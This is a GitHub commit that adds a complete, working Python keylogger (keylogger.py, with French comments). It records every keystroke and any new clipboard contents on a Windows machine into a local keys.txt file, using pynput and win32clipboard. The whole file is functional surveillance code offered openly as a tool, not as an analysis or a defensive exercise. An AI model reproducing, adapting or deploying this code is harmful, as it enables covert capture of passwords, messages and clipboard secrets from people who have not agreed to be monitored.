Add files via upload
This commit is contained in:
180
keylogger.py
Normal file
180
keylogger.py
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
from pynput.keyboard import Key, Listener
|
||||||
|
import sys
|
||||||
|
import win32clipboard
|
||||||
|
import os
|
||||||
|
|
||||||
|
old_clipboard = " "
|
||||||
|
|
||||||
|
def get_clipboard() :
|
||||||
|
try :
|
||||||
|
win32clipboard.OpenClipboard()
|
||||||
|
data = win32clipboard.GetClipboardData()
|
||||||
|
win32clipboard.CloseClipboard()
|
||||||
|
return data
|
||||||
|
except :
|
||||||
|
return "0"
|
||||||
|
|
||||||
|
def write_banner() :
|
||||||
|
#On ouvre/créé le fichier keys.txt
|
||||||
|
with open("keys.txt", "a") as f :
|
||||||
|
#On écrit la bannière
|
||||||
|
f.write("\n")
|
||||||
|
f.write("#########################################\n")
|
||||||
|
f.write("# Simple Keylogger By ALittlePatate #\n")
|
||||||
|
f.write("#########################################\n")
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
def write_file(key) :
|
||||||
|
#On ouvre/créé le fichier keys.txt
|
||||||
|
with open("keys.txt", "a") as f :
|
||||||
|
|
||||||
|
#On regarde si le presse-papier à changé en appelant la fonction get_clipboard()
|
||||||
|
global old_clipboard
|
||||||
|
if get_clipboard() != "0" and get_clipboard() != old_clipboard :
|
||||||
|
f.write("\n")
|
||||||
|
f.write("\n")
|
||||||
|
f.write("[+] New clipboard content ! [+]\n")
|
||||||
|
f.write(str(get_clipboard()))
|
||||||
|
f.write("\n")
|
||||||
|
f.write("[+] End of the new clipboard content. [+]\n")
|
||||||
|
f.write("\n")
|
||||||
|
old_clipboard = get_clipboard()
|
||||||
|
|
||||||
|
#On regarde si key est un chiffre du pavé numérique
|
||||||
|
if key == "<96>" :
|
||||||
|
f.write("0")
|
||||||
|
elif key == "<97>" :
|
||||||
|
f.write("1")
|
||||||
|
elif key == "<98>" :
|
||||||
|
f.write("2")
|
||||||
|
elif key == "<99>" :
|
||||||
|
f.write("3")
|
||||||
|
elif key == "<100>" :
|
||||||
|
f.write("4")
|
||||||
|
elif key == "<101>" :
|
||||||
|
f.write("5")
|
||||||
|
elif key == "<102>" :
|
||||||
|
f.write("6")
|
||||||
|
elif key == "<103>" :
|
||||||
|
f.write("7")
|
||||||
|
elif key == "<104>" :
|
||||||
|
f.write("8")
|
||||||
|
elif key == "<105>" :
|
||||||
|
f.write("9")
|
||||||
|
|
||||||
|
#On regarde si key est une combinaison avec CTRL
|
||||||
|
elif key == "\\x01" :
|
||||||
|
f.write("\n CTRL+A\n")
|
||||||
|
elif key == "\\x1a" :
|
||||||
|
f.write("\n CTRL+Z\n")
|
||||||
|
elif key == "\\x05" :
|
||||||
|
f.write("\n CTRL+E\n")
|
||||||
|
elif key == "\\x12" :
|
||||||
|
f.write("\n CTRL+R\n")
|
||||||
|
elif key == "\\x14" :
|
||||||
|
f.write("\n CTRL+T\n")
|
||||||
|
elif key == "\\x19" :
|
||||||
|
f.write("\n CTRL+Y\n")
|
||||||
|
elif key == "\\x15" :
|
||||||
|
f.write("\n CTRL+U\n")
|
||||||
|
elif key == "\\t" :
|
||||||
|
f.write("\n CTRL+I\n")
|
||||||
|
elif key == "\\x0f" :
|
||||||
|
f.write("\n CTRL+O\n")
|
||||||
|
elif key == "\\x10" :
|
||||||
|
f.write("\n CTRL+P\n")
|
||||||
|
elif key == "\\x11" :
|
||||||
|
f.write("\n CTRL+Q\n")
|
||||||
|
elif key == "\\x13" :
|
||||||
|
f.write("\n CTRL+S\n")
|
||||||
|
elif key == "\\x04" :
|
||||||
|
f.write("\n CTRL+D\n")
|
||||||
|
elif key == "\\x06" :
|
||||||
|
f.write("\n CTRL+F\n")
|
||||||
|
elif key == "\\x07" :
|
||||||
|
f.write("\n CTRL+G\n")
|
||||||
|
elif key == "\\x08" :
|
||||||
|
f.write("\n CTRL+H\n")
|
||||||
|
elif key == "\\n" :
|
||||||
|
f.write("\n CTRL+J\n")
|
||||||
|
elif key == "\\x0b" :
|
||||||
|
f.write("\n CTRL+K\n")
|
||||||
|
elif key == "\\x0c" :
|
||||||
|
f.write("\n CTRL+L\n")
|
||||||
|
elif key == "\\r" :
|
||||||
|
f.write("\n CTRL+M\n")
|
||||||
|
elif key == "\\x17" :
|
||||||
|
f.write("\n CTRL+W\n")
|
||||||
|
elif key == "\\x18" :
|
||||||
|
f.write("\n CTRL+X\n")
|
||||||
|
elif key == "\\x03" :
|
||||||
|
f.write("\n CTRL+C\n")
|
||||||
|
elif key == "\\x16" :
|
||||||
|
f.write("\n CTRL+V\n")
|
||||||
|
elif key == "\\x02" :
|
||||||
|
f.write("\n CTRL+B\n")
|
||||||
|
elif key == "\\x0e" :
|
||||||
|
f.write("\n CTRL+N\n")
|
||||||
|
|
||||||
|
#On regarde si key est un espace, un retour à la ligne ou ce genre de trucs
|
||||||
|
elif key == "Key.space" :
|
||||||
|
f.write(" ")
|
||||||
|
elif key == "Key.enter" :
|
||||||
|
f.write("\n")
|
||||||
|
elif key == "Key.backspace" :
|
||||||
|
f.write(" [BACKSPACE] ")
|
||||||
|
elif key == "Key.shift" or key == "Key.shift_r" :
|
||||||
|
pass
|
||||||
|
elif key == "Key.ctrl_l" or key == "Key.ctrl_r" :
|
||||||
|
pass
|
||||||
|
elif key == "Key.caps_lock" :
|
||||||
|
pass
|
||||||
|
elif key == "Key.num_lock" :
|
||||||
|
pass
|
||||||
|
elif key == "Key.alt_r" or key == "Key.alt_l" :
|
||||||
|
pass
|
||||||
|
elif key == "Key.tab" :
|
||||||
|
f.write("\n[TAB]\n")
|
||||||
|
elif key == "Key.up" :
|
||||||
|
f.write("\nUp\n")
|
||||||
|
elif key == "Key.down" :
|
||||||
|
f.write("\nDown\n")
|
||||||
|
elif key == "Key.left" :
|
||||||
|
f.write("\nLeft\n")
|
||||||
|
elif key == "Key.right" :
|
||||||
|
f.write("\nRight\n")
|
||||||
|
|
||||||
|
#On regarde si key est une touche qui doit être écrite en UTF-8
|
||||||
|
elif key in messed_up_keys :
|
||||||
|
f.write(str(key.encode('UTF-8')))
|
||||||
|
|
||||||
|
#Si aucun des tests ne sont positifs, on écrit la variable key dans le fichier keys.txt
|
||||||
|
else :
|
||||||
|
f.write(key)
|
||||||
|
|
||||||
|
def on_press(key) :
|
||||||
|
#On garde juste le nom de la touche, et on supprime les " " et les [ ]
|
||||||
|
key = str(key)
|
||||||
|
key = key.replace("'", "")
|
||||||
|
if key == '""' :
|
||||||
|
key = "'"
|
||||||
|
key = key.replace("[", "")
|
||||||
|
if key == "" :
|
||||||
|
key = "["
|
||||||
|
key = key.replace("]", "")
|
||||||
|
if key == "" :
|
||||||
|
key = "]"
|
||||||
|
print(key)
|
||||||
|
|
||||||
|
#On écrit la touche dans le fichier keys.txt
|
||||||
|
write_file(key)
|
||||||
|
|
||||||
|
#On fait la liste des caractères non supportés par windows
|
||||||
|
messed_up_keys = ["é", "è", "à", "°", "^", "¨", "£", "¤", "ù", "µ"]
|
||||||
|
|
||||||
|
#On écrit la bannière dans le fichier keys.txt
|
||||||
|
write_banner()
|
||||||
|
|
||||||
|
#On capture les appuis de touches
|
||||||
|
with Listener(on_press=on_press) as listener :
|
||||||
|
listener.join()
|
||||||
Reference in New Issue
Block a user